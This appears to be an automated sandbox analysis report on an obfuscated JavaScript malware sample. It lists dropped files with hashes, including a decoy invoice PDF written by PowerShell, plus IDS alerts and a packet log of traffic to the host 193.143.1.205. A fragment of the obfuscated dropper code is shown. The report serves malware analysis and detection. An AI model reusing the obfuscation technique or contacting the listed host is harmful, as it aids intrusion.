File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d16fbdc8-1a3e-4b17-af06-da2c356af9d4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17131), with CRLF line terminators
Entropy (8bit):	4.887446745248499
TrID:
File name:	533625797193620143.js
File size:	20'491 bytes
MD5:	52ff51ec94fe9d655607980b779cfcc5
SHA1:	9db2b011d94635be9d484c0bea6e40df3b3baca9
SHA256:	c426ab4da68ef973948ae5dda06bb0a7600d0142a61305f649e972494d1d3111
SHA512:	a9e463d0b4800c56c038bcd6e9bdb9112af73e9ee1cc93cac751ac8fd4fd92bdb7b93db4a7a4502c1abb249cee38c91364be34bebaca9ccab6b724c4b3a19f92
SSDEEP:	384:wA6OY8vcYsAjYf15THs4jrOSFxhSUFjLvGZi7EkHItEpttBOuGmfSQ/Fc+iA7:wA6O0VyYdxHnjrbfFj6Z4EkHItEpttBd
TLSH:	059282E8D901C25C89CC56F0AF4601E63F6C829C8D491ECD998775CC8A65F4AA4FE4FE
File Content Preview:	function mlalqpc(){wjtnbv=[1031,3079,5127,4103,2055,3072];var jhwnbf=this[xmxvhoj+qphqmco+ehfxkceu+xtkmdhkbr+qqwxb+hyhyml+llpicw+mjoya](this[cpueajrv+oydjlaoi+urnwscajd+ehfxkceu+cfpqhsj+xmxvhoj+mjoya][bmdhasp+ehfxkceu+qqwxb+qphqmco+mjoya+qqwxb+rufyaxs+zek

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:53:47.482822+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49731	193.143.1.205	80	TCP
2025-01-10T20:53:49.601384+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49742	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:53:46.615549088 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:46.620457888 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:46.622992992 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:46.628624916 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:46.633471012 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482738972 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482758999 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482772112 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482784033 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482795954 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482808113 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482821941 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.482837915 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482848883 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482862949 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.482868910 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482881069 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482891083 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.482901096 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.482912064 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.487647057 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.487659931 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.487670898 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.487716913 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.487736940 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.550771952 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.550786018 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.550796986 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.550843954 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.551114082 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.551126003 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.551156044 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.551610947 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.551623106 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.551635981 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.551645041 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.551672935 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.552432060 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.552443981 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.552457094 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.552484035 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.553142071 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.553153038 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.553164959 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.553195000 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.553221941 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.553904057 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.553915977 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.553926945 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.553951025 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.554656982 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.554696083 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.556294918 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.560777903 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.560820103 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.560844898 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.560933113 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.560944080 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.560985088 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.594000101 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.594008923 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.594084024 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.641263008 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.641292095 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.641355991 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.675127983 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675146103 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675158024 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675169945 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675183058 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675230980 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.675271988 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.675482035 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675492048 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675534964 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.675710917 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675720930 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675734043 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675755024 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675760984 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.675770998 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.675776958 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.675815105 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.676589012 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.676604986 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.676616907 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.676628113 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.676640987 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.676654100 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.676683903 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.677583933 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.677594900 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.677607059 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.677618027 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.677633047 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.677639008 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.677675009 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.677696943 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.678442001 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.678452969 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.678472996 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.678483963 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.678493023 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.678503036 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.678530931 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.679402113 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.679414034 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.679424047 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.679435015 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.679446936 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.679478884 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.679508924 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.680355072 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.680392981 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.680398941 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.680408955 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.680416107 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.680449009 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.680469036 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.681227922 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.681240082 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.681251049 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.681261063 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.681277037 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.681282997 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.681303978 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.681320906 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.682099104 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.726366997 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.731874943 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.731888056 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.731898069 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.731950045 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.732008934 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.732021093 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.732031107 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.732050896 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.732074976 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.765650034 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.765661001 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.765716076 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.798834085 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.798850060 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.798860073 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.798943043 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.798981905 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799015999 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799025059 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.799036980 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799071074 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.799196005 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799207926 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799227953 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799238920 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799247980 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.799257994 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799282074 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.799592972 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799633026 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799638033 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.799649000 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799679995 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799688101 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.799698114 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799710989 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799721956 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.799732924 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.799762011 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.800252914 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800263882 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800276995 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800288916 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800307035 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.800348043 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.800715923 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800731897 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800744057 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800756931 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800766945 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.800776958 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800787926 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800796032 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.800806046 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800820112 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800831079 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.800841093 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800853968 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.800863028 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.800901890 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.801712990 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801726103 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801738024 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801748991 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801759958 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.801769018 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801778078 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.801786900 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801799059 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801810026 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801821947 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801831961 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.801841021 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.801862955 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.801879883 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.802607059 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802618027 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802629948 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802640915 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802660942 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802675962 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802683115 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.802683115 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.802696943 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802706957 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802717924 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802727938 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.802738905 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.802783012 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.802809954 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.803597927 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803608894 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803621054 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803631067 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803643942 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803659916 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.803667068 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.803674936 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803685904 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803693056 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803705931 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803719044 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.803726912 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.803754091 CET	49731	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:53:47.804590940 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.804601908 CET	80	49731	193.143.1.205	192.168.2.6
Jan 10, 2025 20:53:47.804615021 CET	80	49731	193.143.1.205	192.168.2.6
